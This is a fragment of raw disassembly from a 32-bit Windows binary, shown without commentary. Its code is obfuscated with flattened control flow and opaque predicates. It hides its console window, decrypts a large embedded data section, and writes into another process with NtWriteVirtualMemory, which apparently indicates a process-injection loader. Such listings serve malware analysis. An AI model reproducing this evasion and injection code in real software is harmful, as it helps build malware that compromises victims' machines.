and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x174475bc
mov ecx, 0x8009c75a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov eax, dword [ebp - 0x138]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x174475bc
mov ecx, 0xfcecc313
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001200
add esp, 4
lea eax, [0x1001a1d1]
sub esp, 4
mov dword [esp], eax
call fcn.10001200
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4cc00
call section..text
add esp, 8
mov eax, dword [ebp - 0x148]
lea ecx, section..data
mov dword [eax], ecx
mov eax, dword [ebp - 0x148]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x144]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x150], 0x405eaaae
jmp 0x1000e69b
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xebc76468
mov ecx, 0x9abbf801
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov al, byte [ebp - 0xab]
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
add edx, 0x416e4e0b
sub edx, 1
sub edx, 0x416e4e0b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xebc76468
mov ecx, 0xd94652ad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
sub edx, 0x75933bd9
sub edx, 1
add edx, 0x75933bd9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xab70a772
mov ecx, 0xce8f0093
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov dword [ebp - 0x150], 0xe783a04f
jmp 0x1000e69b
mov ax, word [ebp - 0x96]
movzx eax, ax
mov ecx, dword [ebp - 0x9c]
add ecx, eax
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov dword [eax], 0
mov dword [ebp - 0x150], 0x3bf4156e
jmp 0x1000e69b
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x148]
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x110]
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
add edx, 0x234e8bcb
sub edx, 1
sub edx, 0x234e8bcb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd67143b4
mov ecx, 0xe524563f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov dword [ebp - 0x150], 0xf03eb86b
jmp 0x1000e69b
mov dword [ebp - 0x150], 0x99c32ccb
jmp 0x1000e69b
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x150], 0xe47fab3
jmp 0x1000e69b
mov dword [ebp - 0x150], 0x568a5fbb
jmp 0x1000e69b
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x150], 0xf9311f22
jmp 0x1000e69b
mov dword [ebp - 0x150], 0x35891105
jmp 0x1000e69b
mov dword [ebp - 0x150], 0xf92e4233
jmp 0x1000e69b
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x150], 0x19d8c143
jmp 0x1000e69b
mov dword [ebp - 0x150], 0xe7057baa
jmp 0x1000e69b
mov dword [ebp - 0x150], 0xc40497ca
jmp 0x1000e69b
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x34]
sub ecx, 0xb02acbcc
add ecx, 1
add ecx, 0xb02acbcc
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov dword [ebp - 0x150], 0x7a39f882
jmp 0x1000e69b
mov eax, dword [ebp - 0x148]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
add ecx, dword [eax + 0xc0]
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x150], 0x21539ab
jmp 0x1000e69b
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x150], 0x8b910f62
jmp 0x1000e69b
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x148]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x124]
mov edx, dword [edx]
mov esi, dword [ebp - 0x138]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x148]
mov eax, dword [ebp - 0x144]
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x150], 0xce8f0093
jmp 0x1000e69b
jmp 0x1000759f